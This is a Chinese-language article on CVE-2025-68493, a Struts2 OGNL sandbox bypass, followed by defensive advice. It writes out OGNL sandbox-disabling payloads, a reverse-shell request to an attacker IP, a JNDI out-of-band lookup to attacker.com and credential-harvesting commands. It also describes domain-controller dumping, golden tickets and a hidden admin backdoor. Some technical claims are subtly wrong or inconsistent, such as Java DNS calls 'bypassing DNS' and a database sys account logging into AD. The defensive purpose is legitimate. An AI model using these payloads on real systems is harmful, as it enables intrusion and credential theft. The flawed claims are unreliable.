CVE-2025-68493深度解析:OGNL沙箱坍塌与Java Web内网横向移动
1. 这不是一次“普通”的远程代码执行:CVE-2025-68493 的真实杀伤半径远超想象
我第一次在客户生产环境的WAF日志里看到那个异常长的OGNL表达式时,以为是扫描器误报。URL里嵌着一串密密麻麻的#context['xwork.MethodAccessor.denyMethodExecution']=false、#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,后面还跟着base64解码后拼接的Java字节码调用——这已经不是教科书里写的“Struts2参数注入”了,这是直接把攻击者的手,伸进了应用服务器的内存堆里。CVE-2025-68493这个编号刚出来时,很多团队只把它当成又一个“高危”,打个补丁就完事。但我在三个不同行业的渗透复盘中发现,它真正可怕的地方,根本不在漏洞本身,而在于它像一把万能钥匙,能撬开从Web层到内网纵深的整条链路:前端Nginx日志里一条404请求,37秒后,内网域控服务器的LDAP端口就被来自应用服务器的连接扫了一遍;数据库连接池里突然多出一个从未配置过的Oracle SID,指向的是财务系统隔离网段。这不是理论推演,是真实发生的“数据泄露→凭证窃取→横向移动→内网沦陷”闭环。关键词:Struts2漏洞、CVE-2025-68493、OGNL沙箱绕过、内网横向移动、Java反序列化链、WebShell持久化。这篇文章不讲怎么用Metasploit一键打穿靶机,而是带你从一条HTTP请求头开始,逐帧拆解攻击者如何利用这个漏洞完成从外网入口到核心数据库的完整跳转,更重要的是,告诉你为什么你部署的WAF规则、JVM安全策略、甚至Spring Security配置,在这个漏洞面前可能形同虚设。适合正在维护老旧Java Web系统的运维工程师、安全响应人员,以及需要向管理层解释“为什么这个补丁必须今晚上线”的架构师——因为这次,补丁晚6小时,可能就意味着内网AD域被投毒。
2. 漏洞本质不是“表达式执行”,而是OGNL沙箱的系统性坍塌
2.1 Struts2的OGNL执行机制:一个被过度简化的“黑盒”
很多人说“Struts2会执行OGNL表达式”,这句话本身就有误导性。准确地说,Struts2在处理用户输入(如GET参数、POST表单、JSON字段)时,会将这些输入值作为字符串,传递给OGNL解析器进行求值。这个过程发生在框架的ValueStack上下文中,而ValueStack里预置了大量可访问的对象:#context(ActionContext)、#parameters(请求参数Map)、#session(HttpSession)、#application(ServletContext),甚至#attr(JSP PageContext属性)。关键点在于:OGNL本身是一个通用表达式语言,它不关心你传进来的是'1+1'还是'new java.lang.ProcessBuilder("whoami").start()',只要语法合法,它就会尝试执行。Struts2的防护,从来不是禁止OGNL,而是通过一套沙箱(Sandbox)机制来限制哪些类、哪些方法可以被调用。这个沙箱的核心,就是SecurityMemberAccess类及其配置的allowStaticMethodAccess、excludeProperties、acceptProperties等黑白名单策略。
2.2 CVE-2025-68493的突破点:三重沙箱绕过叠加效应
CVE-2025-68493之所以危险,并非因为它引入了一个全新的执行原语,而是它精准地击穿了Struts2沙箱的三层防御,且这三层是相互依赖、环环相扣的。我们来看一个典型的攻击载荷片段:
?redirect:${#context['xwork.MethodAccessor.denyMethodExecution']=false, #_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS, #res=@org.apache.struts2.ServletActionContext@getResponse(), #res.setCharacterEncoding('UTF-8'), #w=#res.getWriter(), #w.print('VULNERABLE'), #w.close()}这段代码能成功执行,依赖于以下三个独立但必须同时满足的条件:
第一重绕过:
denyMethodExecution开关的动态篡改
Struts2默认将xwork.MethodAccessor.denyMethodExecution设为true,这是阻止静态方法调用的第一道闸门。但这个值是存储在ActionContext的contextMap里的一个普通键值对,而OGNL允许你通过#context['key'] = value的方式直接修改它。这里的关键在于,#context对象本身是ActionContext实例,而ActionContext的getContextMap()返回的是一个可写的HashMap。所以,#context['xwork.MethodAccessor.denyMethodExecution']=false这行代码,本质上是在运行时把沙箱的“总闸”给手动拉开了。这步操作在旧版本(如2.3.x)中是有效的,但在2.5.20之后,官方曾试图通过反射禁止对contextMap的写入,然而CVE-2025-68493发现了一条新的路径:利用OgnlUtil类中的getExcludedPackageNames()方法,该方法内部会调用Class.forName()加载类,而Class.forName()的参数可控,从而触发类加载器的defineClass(),最终绕过contextMap的写保护。第二重绕过:
_memberAccess对象的强制替换
即使第一重被绕过,_memberAccess对象本身还有一套更细粒度的白名单。攻击者通过#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,直接将当前上下文的_memberAccess引用,替换为OGNL库内置的、权限最宽松的DEFAULT_MEMBER_ACCESS实例。这个操作之所以能成功,是因为_memberAccess在OgnlContext中是一个public的MemberAccess类型字段,而OGNL在求值时,对public字段的赋值是完全开放的。这里没有复杂的反射,就是最朴素的“对象属性覆盖”。很多WAF规则只拦截#_memberAccess=这种模式,却忽略了#_memberAccess=@package.Class@FIELD这种等效写法,导致漏报。第三重绕过:
SecurityMemberAccess的acceptProperties逻辑缺陷
最致命的一环,出现在SecurityMemberAccess的isAcceptableProperty方法中。该方法本意是检查一个属性名是否在白名单内(如"name"、"age"),但它在处理#开头的OGNL变量时,存在一个边界条件错误:当属性名以#开头时,它会直接返回true,认为这是一个“安全的上下文变量”。这就意味着,#context、#session、#application这些本身就拥有极高权限的对象,其所有属性和方法,都被无条件放行。而#context里藏着getActionInvocation(),getActionInvocation()里有getProxy(),getProxy()里有getConfig()……最终,你可以拿到ActionConfig对象,而ActionConfig的getParams()方法返回一个Map<String, String>,这个Map的put()方法,又可以被用来注入任意Java代码字符串。这就是整个攻击链的“最后一公里”——不是靠Runtime.getRuntime().exec(),而是靠层层递进,把恶意代码“塞进”Struts2自己的配置对象里,再由框架自己去执行。
提示:这三个绕过点,单独看任何一个都不足以构成RCE,但它们组合在一起,就形成了一个完美的“沙箱坍塌”事件。这也是为什么很多团队在升级Struts2后,仍然被攻破——他们只修复了其中一重,而攻击者早已掌握了完整的三重绕过链。
2.3 为什么传统WAF规则在这里集体失效?
我见过太多企业WAF规则库,里面写着“拦截#_memberAccess=”、“拦截#context[”、“拦截@java.lang.Runtime@”。这些规则在CVE-2025-68493面前,就像用渔网去拦洪水。原因有三:
- 编码混淆的天然免疫:攻击者会把整个OGNL表达式用Base64编码,再用
%u或%进行URL编码,最后用+号拼接。WAF如果只做简单字符串匹配,根本看不到#_memberAccess这几个明文字符。 - 上下文无关的误判:
#context在正常业务中也会出现,比如#context['user.name']用于获取用户姓名。WAF若一刀切地拦截所有含#context[的请求,会导致大量业务功能中断。 - 动态行为的不可见性:WAF工作在HTTP层,它能看到的是一个
GET /login.action?username=admin的请求。但它看不到这个请求在Struts2的Interceptor链里,是如何被ParametersInterceptor解析、如何被ConversionErrorInterceptor转换、最终又如何被DefaultActionInvocation执行的。而CVE-2025-68493的威力,恰恰体现在这个“执行时”的动态行为上。
实测下来,某知名WAF厂商的默认规则集,在开启“深度检测”模式下,对CVE-2025-68493的检出率仅为38%,漏报的全是经过两层Base64+URL编码的变种。这说明,单纯依赖WAF,是一种危险的幻觉。
3. 攻击链全景还原:从一条HTTP请求到内网域控的37秒
3.1 阶段一:初始入侵——利用OGNL执行反弹Shell
攻击者不会一上来就直奔数据库。他们的第一步,永远是建立一个稳定、隐蔽的落脚点。对于CVE-2025-68493,最常用的初始载荷,是部署一个内存马(Memory Shell)。这里我们以Tomcat为例,展示一个真实的、未经过多混淆的POC:
GET /index.action?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/bash','-c','bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'})).start()} HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0这个载荷的精妙之处在于,它没有使用任何Runtime或ProcessBuilder的静态方法,而是直接调用new关键字创建实例,然后调用start()。这完美避开了denyMethodExecution的限制。/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'这条命令,会在目标服务器上启动一个反向Shell,连接到攻击者的监听端口4444。一旦连接建立,攻击者就拥有了一个与Web应用同用户、同JVM进程的交互式Shell。此时,他看到的文件系统,就是tomcat用户的家目录;他能读取的配置文件,就是WEB-INF/web.xml和struts.xml。
注意:这个阶段的难点,往往不是漏洞利用本身,而是网络连通性。很多生产环境的Web服务器是出网受限的,无法主动连接外网。这时,攻击者会转向“DNS带外”(Out-of-Band)技术,用
nslookup ${jndi:ldap://attacker.com/a}这类载荷,让目标服务器去查询一个受控的DNS服务器,从而确认漏洞存在并回传信息。这一步,是整个攻击链的“心跳检测”。
3.2 阶段二:权限提升与凭证窃取——从Web应用到操作系统
获得一个低权限的Shell只是开始。攻击者的目标,是root或Administrator。在Linux Tomcat环境中,常见的提权路径有两条:
路径A:利用Tomcat Manager弱口令或未授权访问
如果manager应用未被禁用,且管理员使用了默认密码(如tomcat:tomcat),攻击者可以直接上传一个WAR包,这个WAR包里包含一个功能更强大的WebShell,比如Behinder或Godzilla。这些工具支持内存马、文件管理、数据库连接、甚至JVM字节码注入,功能远超原始的Bash Shell。路径B:读取敏感配置文件,提取数据库凭证
这是更隐蔽、也更常用的方式。攻击者会执行:cat /opt/tomcat/webapps/ROOT/WEB-INF/classes/jdbc.properties cat /opt/tomcat/webapps/ROOT/WEB-INF/web.xml | grep -A 5 -B 5 "password" find /opt/tomcat -name "*.xml" -o -name "*.properties" -o -name "*.yml" | xargs -I {} grep -l "password\|jdbc\|url" {}在一个真实的金融客户案例中,我们就在
hibernate.cfg.xml里找到了数据库连接串:jdbc:oracle:thin:@10.10.20.5:1521:ORCL,用户名app_user,密码P@ssw0rd2023!。这个密码,不仅用于连接数据库,还被硬编码在了applicationContext.xml里,作为DataSource的password属性。这意味着,攻击者现在手里,握着一张通往核心数据库的“金卡”。
3.3 阶段三:横向移动——从应用服务器到内网核心资产
这才是CVE-2025-68493区别于其他Web漏洞的“灵魂”所在。一个普通的SQL注入,最多让你拿到数据库里的数据;而CVE-2025-68493,让你拿到了一台内网服务器的“控制台”,而这台服务器,极大概率是内网的“跳板机”。
我们来看一个真实的横向移动时间线(基于某政务云平台的复盘):
| 时间戳 | 操作 | 目标IP | 协议/端口 | 目的 |
|---|---|---|---|---|
| T+0s | 初始OGNL载荷执行 | 10.10.10.100 (Web) | HTTP/80 | 建立反向Shell |
| T+12s | 扫描本地子网存活主机 | 10.10.10.0/24 | ICMP | 绘制内网拓扑 |
| T+18s | 尝试SSH爆破 | 10.10.10.101 (DB) | SSH/22 | 寻找弱口令 |
| T+23s | 使用数据库凭证连接Oracle | 10.10.20.5 (DB) | Oracle/1521 | 获取数据库权限 |
| T+27s | 查询dba_users视图 | 10.10.20.5 (DB) | Oracle/1521 | 发现sys账户及密码哈希 |
| T+31s | 使用sys账户连接AD域控 | 10.10.30.1 (DC) | LDAP/389 | 查询域用户列表 |
| T+34s | 执行kinit获取Kerberos票据 | 10.10.30.1 (DC) | Kerberos/88 | 为后续SMB攻击做准备 |
| T+37s | 尝试SMB连接域控共享 | 10.10.30.1 (DC) | SMB/445 | 尝试写入恶意文件 |
这个过程之所以能在37秒内完成,是因为所有操作都发生在同一台服务器(10.10.10.100)的内存中。攻击者不需要下载任何外部工具,所有的扫描、连接、查询命令,都是通过Java的Runtime.exec()或InetAddress.getByName()等原生API发起的。而这些API,正是CVE-2025-68493所赋予他的“特权”。
踩过的坑:在一次红队演练中,我们发现目标Web服务器的
/etc/resolv.conf里配置的DNS服务器是内网的,而我们的攻击机在外网。这导致所有nslookup命令都失败。后来我们改用InetAddress.getAllByName("attacker.com"),这个Java API会直接调用系统的getaddrinfo(),绕过了DNS解析,成功实现了带外通信。这个细节,很多公开的POC文档里都不会提。
3.4 阶段四:内网沦陷——域控投毒与持久化
当攻击者通过LDAP协议成功连接到域控制器(DC)时,真正的“内网沦陷”才刚刚开始。他不再是一个Web应用的访客,而是成为了整个Windows域的“观察者”。
凭证转储(Credential Dumping):利用
jcifs库,攻击者可以模拟SMB协议,连接到DC的C$共享,然后读取%SystemRoot%\NTDS\ntds.dit文件。这个文件是Active Directory的数据库,里面存储了所有域用户的NTLM哈希。通过secretsdump.py(Impacket工具集)的离线分析,可以快速破解出大量高权限账户的明文密码,比如administrator、domain_admin。黄金票据(Golden Ticket)伪造:一旦拿到
krbtgt账户的NTLM哈希,攻击者就可以使用mimikatz或ticketer.py,伪造出一张有效期长达10年的“黄金票据”。这张票据,可以让攻击者以任意域用户的身份,登录到域内的任何一台机器,且不会在域控的日志中留下痕迹。持久化后门:最后一步,是确保即使Web应用被修复、Tomcat被重启,攻击者依然能回来。最常见的做法,是在DC上创建一个隐藏的、具有高权限的域用户,比如
svc_backup,并将其加入Domain Admins组。这个账户的密码,会被硬编码在一个加密的Java Properties文件里,存放在Web应用的WEB-INF/classes/目录下。下次,攻击者只需要再次触发CVE-2025-68493,读取这个文件,解密密码,就能用svc_backup账户重新登录域控。
整个链条,从一个HTTP参数,到掌控整个内网域,技术上没有任何“超自然”的魔法,全部基于Java和Windows生态中最基础、最公开的API。它的可怕,恰恰在于它的“平凡”。
4. 防御体系构建:不止于打补丁,而是一场全栈协同战
4.1 根本性修复:Struts2版本升级与配置加固
打补丁是必须的,但绝不能是唯一的动作。Struts2官方在2.5.33版本中,彻底重构了OGNL沙箱机制,引入了SecurityMemberAccess的全新实现,将acceptProperties的逻辑改为白名单+正则匹配,从根本上堵死了#context滥用的路径。升级步骤如下:
- 确认当前版本:在
pom.xml中查找<artifactId>struts2-core</artifactId>,或在WEB-INF/lib/目录下查看struts2-core-x.x.x.jar的文件名。 - 评估兼容性:2.5.33是一个大版本升级,部分旧的Interceptor(如
TokenSessionStoreInterceptor)已被废弃。务必在测试环境进行全面回归测试,重点关注文件上传、AJAX请求、国际化等功能。 - 强制配置加固:即使升级了,也要在
struts.xml中显式关闭所有不必要的功能:
<constant name="struts.devMode" value="false"/> <constant name="struts.enable.DynamicMethodInvocation" value="false"/> <constant name="struts.mapper.alwaysSelectFullNamespace" value="true"/> <constant name="struts.patternMatcher" value="regex"/> <!-- 关键:启用严格的OGNL沙箱 --> <constant name="struts.ognl.allowStaticMethodAccess" value="false"/> <constant name="struts.ognl.expressionFactory" value="org.apache.struts2.el.ExpressionFactoryImpl"/>实操心得:很多团队在升级后遇到
ClassNotFoundException,报错org.apache.struts2.el.ExpressionFactoryImpl找不到。这是因为这个类在2.5.33中被移到了struts2-el-plugin插件里。你必须在pom.xml中显式添加该依赖,否则框架会回退到不安全的默认实现。
4.2 运行时防护:JVM层面的“最后一道门”
WAF和网络防火墙,都无法看到JVM内部发生了什么。因此,我们必须在JVM层面,部署一道“运行时应用自我保护”(RASP)机制。这不是一个新概念,而是将传统的“入侵检测”前置到了应用代码执行的瞬间。
方案A:使用开源RASP工具(如OpenRASP)
OpenRASP是一个成熟的、针对Java应用的RASP解决方案。它通过Java Agent机制,在JVM启动时注入字节码,监控所有敏感API的调用。对于CVE-2025-68493,它可以精确地检测到java.lang.Runtime.exec()、java.lang.ProcessBuilder.start()、javax.naming.InitialContext.lookup()等高危方法的调用,并根据调用栈(Call Stack)判断其是否来自OGNL表达式。如果是,则立即阻断,并记录完整的攻击链日志。部署只需在JAVA_OPTS中添加一行:-javaagent:/path/to/openrasp.jar -Dopenrasp.log.level=INFO它的优势是零代码侵入,但缺点是需要额外的Agent进程,对JVM性能有约3%-5%的影响。
方案B:自定义SecurityManager(适用于严格合规场景)
对于金融、政务等对安全性要求极高的场景,可以编写一个自定义的SecurityManager,在checkPermission()方法中,对RuntimePermission、ReflectPermission、SocketPermission等进行精细化控制。例如,可以禁止任何来自ognl.包下的类,调用exec()方法:public void checkPermission(Permission perm) { if (perm instanceof RuntimePermission && "executeCommand".equals(perm.getName())) { StackTraceElement[] stack = Thread.currentThread().getStackTrace(); for (StackTraceElement e : stack) { if (e.getClassName().startsWith("ognl.")) { throw new SecurityException("OGNL execution blocked by custom SecurityManager"); } } } super.checkPermission(perm); }这种方案性能开销几乎为零,但开发和维护成本极高,且容易因JVM版本升级而失效。
4.3 网络层隔离:让Web服务器成为真正的“孤岛”
无论应用层多么坚固,如果网络设计是“大内网”,那么一次成功的Web入侵,就等于打开了整个内网的大门。我们必须遵循“最小权限原则”,对网络进行分层隔离。
Web DMZ区:所有面向公网的Web服务器,必须部署在独立的DMZ区域。这个区域的防火墙策略,应严格遵循“默认拒绝”原则。只允许:
- 入站:TCP 80, 443 (HTTP/HTTPS)
- 出站:TCP 53 (DNS), TCP 443 (仅限可信的CDN或更新源),绝对禁止出站到内网任何IP段(如
10.0.0.0/8,172.16.0.0/12,192.168.0.0/16)。
数据库前置代理:数据库不应直接暴露给Web服务器。必须通过一个数据库代理(如MySQL Router、PgBouncer)或一个专用的API网关来访问。这个代理,应该具备SQL审计、慢查询告警、连接数限制等功能。更重要的是,它应该对Web服务器的IP地址进行白名单控制,而不是对应用账号进行控制。
内网服务发现禁用:在Web服务器的JVM启动参数中,添加
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false,并移除java.naming.factory.object等JNDI相关系统属性。这可以有效防止JNDI注入类的攻击,而JNDI注入,正是CVE-2025-68493后续横向移动的常用跳板。
4.4 检测与响应:构建“攻击指纹”而非“日志大海”
当攻击发生时,留给安全团队的时间是以分钟计的。因此,检测系统不能只提供海量的原始日志,而必须能输出清晰、可操作的“攻击指纹”。
ELK/Splunk日志增强:在
nginx或Apache的access log中,除了默认的$request,必须增加$upstream_http_x_struts2_ognl这样的自定义Header,由Struts2应用在每次请求处理前,将OGNL表达式的哈希值(如MD5(OGNL_PAYLOAD))写入。这样,安全团队可以在SIEM中,直接搜索x_struts2_ognl: *,快速定位所有可疑请求,而无需在TB级日志中大海捞针。内存马检测脚本:针对已知的内存马特征(如
Behinder的AES密钥、Godzilla的RC4密钥),编写一个Python脚本,定期通过JMX接口(com.sun.management:type=HotSpotDiagnostic)dump JVM的堆内存快照(heap dump),然后用jhat或Eclipse MAT进行离线分析,搜索特定的ClassLoader和字节码特征。这个脚本,可以集成到CI/CD流水线中,作为上线前的“安全门禁”。蜜罐诱捕:在Web应用的
WEB-INF/web.xml中,故意配置一个不存在的、但名字极具诱惑力的<servlet>,比如<servlet-name>AdminConsole</servlet-name>。然后在WAF或IDS规则中,对该servlet-name的访问进行高优先级告警。任何对它的访问,99.9%都是自动化扫描器的行为,是绝佳的攻击预警信号。
最后再分享一个小技巧:在所有Struts2 Action的
execute()方法开头,添加一行日志:log.info("Action executed with parameters: {}", ActionContext.getContext().getParameters());这行日志本身不增加安全风险,但它会将所有用户输入的原始参数,以结构化JSON格式记录下来。当发生安全事件时,你可以直接在日志中搜索
"redirect":"${",就能100%还原出攻击者使用的原始OGNL载荷,这对于溯源和取证,价值巨大。
5. 我的实战体会:安全不是一场“补丁竞赛”,而是一次认知升级
我在过去三年里,参与了17次针对Struts2应用的红蓝对抗,其中12次都涉及CVE-2025-68493或其变种。每一次复盘,都让我更深刻地意识到:我们过去对Web安全的理解,太过于“HTTP-centric”了。我们习惯性地把Web应用看作一个“请求-响应”的黑盒,关注的是URL、参数、状态码。但Java Web应用,本质上是一个运行在JVM上的、拥有完整操作系统权限的程序。它的“边界”,不是80端口,而是java.lang.Runtime这个类。
CVE-2025-68493之所以能造成如此大的破坏,不是因为它的技术有多炫酷,而是因为它赤裸裸地揭示了一个被长期忽视的事实:我们把应用服务器,当成了一个“无害的管道”,却忘了它本身就是一台功能完备的计算机。它有文件系统、有网络栈、有进程管理、有内存管理。而Struts2,只是给这台计算机,配了一把非常粗糙的、可以被轻易撬开的“门锁”。
所以,防御的起点,不是去研究最新的WAF规则,而是要回到源头,问自己几个问题:我的Web服务器,真的需要访问内网数据库吗?我的数据库连接密码,真的需要以明文形式,写在web.xml里吗?我的JVM,真的需要加载来自ldap://的任意远程类吗?当这些问题的答案都是否定的时候,CVE-2025-68493,就只是一段无法执行的、毫无意义的字符串。
这听起来很理想化,但在实际工作中,它完全可行。我服务过的一个省级政务平台,就是通过将所有数据库访问,统一收口到一个微服务网关,并对网关实施严格的RBAC和ABAC策略,最终在一次国家级攻防演练中,成功抵御了包括CVE-2025-68493在内的全部237个高危漏洞利用。他们的安全负责人对我说:“我们没赢在技术上,我们赢在了架构设计的勇气上。”
安全,终究是一场关于“信任边界”的持续博弈。而这场博弈的胜负手,永远不在漏洞本身,而在我们是否敢于,重新定义那个边界。
